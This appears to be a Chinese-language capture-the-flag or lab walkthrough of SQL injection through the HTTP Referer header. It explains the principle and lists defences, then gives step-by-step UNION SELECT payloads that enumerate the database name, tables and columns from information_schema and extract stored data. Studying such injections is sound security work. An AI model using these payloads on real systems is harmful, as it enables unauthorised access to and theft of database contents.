目录
1. Refer注入原理
- Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
- Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。
2. 防御
- 对于从Referer字段中提取的数据,始终进行充分的验证和过滤。
- 确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
- 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
- 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
- 在应用程序中实施访问控制和身份验证,限制用户对敏感数据和操作的访问。
3. 注入流程
3.1 初始界面
一开始通过bp 抓到的数据包是没有Refer字段的。如下图。
Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
通俗的讲:需要向页面发送一个请求后,才会带上Reder字段。如下:第一二张图
3.2 判断注入方式、类型
referer:1 页面存在回显,可以使用联合查询。
referer:1' 页面不存在回显。
referer:1 and 1=1 所以是True and True,结果还是True,页面存在回显。
referer:1 and 1=2 所以是 True and False,结果还是False,页面不存在回显。可判断此处是数字型注入。
3.3 判断回显位置
select 语句有几列那么需要输入几列。
Sqli 中有两列,所以输入1和2,判断数字的回显位置。
3.4 获取数据库 库名称
此处把第1列换成了version()版本号,2换成了database() 数据库名称
-1 union select version(),database()
3.5 获取数据表 表名称
group_concat(列或表达式):函数将指定的列或表达式的值按照默认的逗号分隔符连接起来,并返回一个合并的字符串作为结果。
information_schema:关系型数据库中,包括 MySQL、PostgreSQL等,存在一个系统数据库叫做 "information_schema",它存储了关于数据库中元数据(metadata)的信息。
information_schema:是 information_schema 数据库中的一个表,用于存储关于数据库中所有表的信息,例:表名、所属数据库、表类型、创建时间等。
table_schema=database() :table_schema表示要筛选的表的模式(也就是数据库的名称),而database()是MySQL内置函数,返回当前连接的数据库名称。
-1 union select version(),group_concat(table_name)from information_schema.tables where table_schema=database()
3.6 获取列名
table_name='vbqllcwzws' :选择表名为【vbqllcwzws】的表的数据。
-1 union select version(),group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='vbqllcwzws'
3.7 获取数据
-1 union select version(),ogkscutppt from vbqllcwzws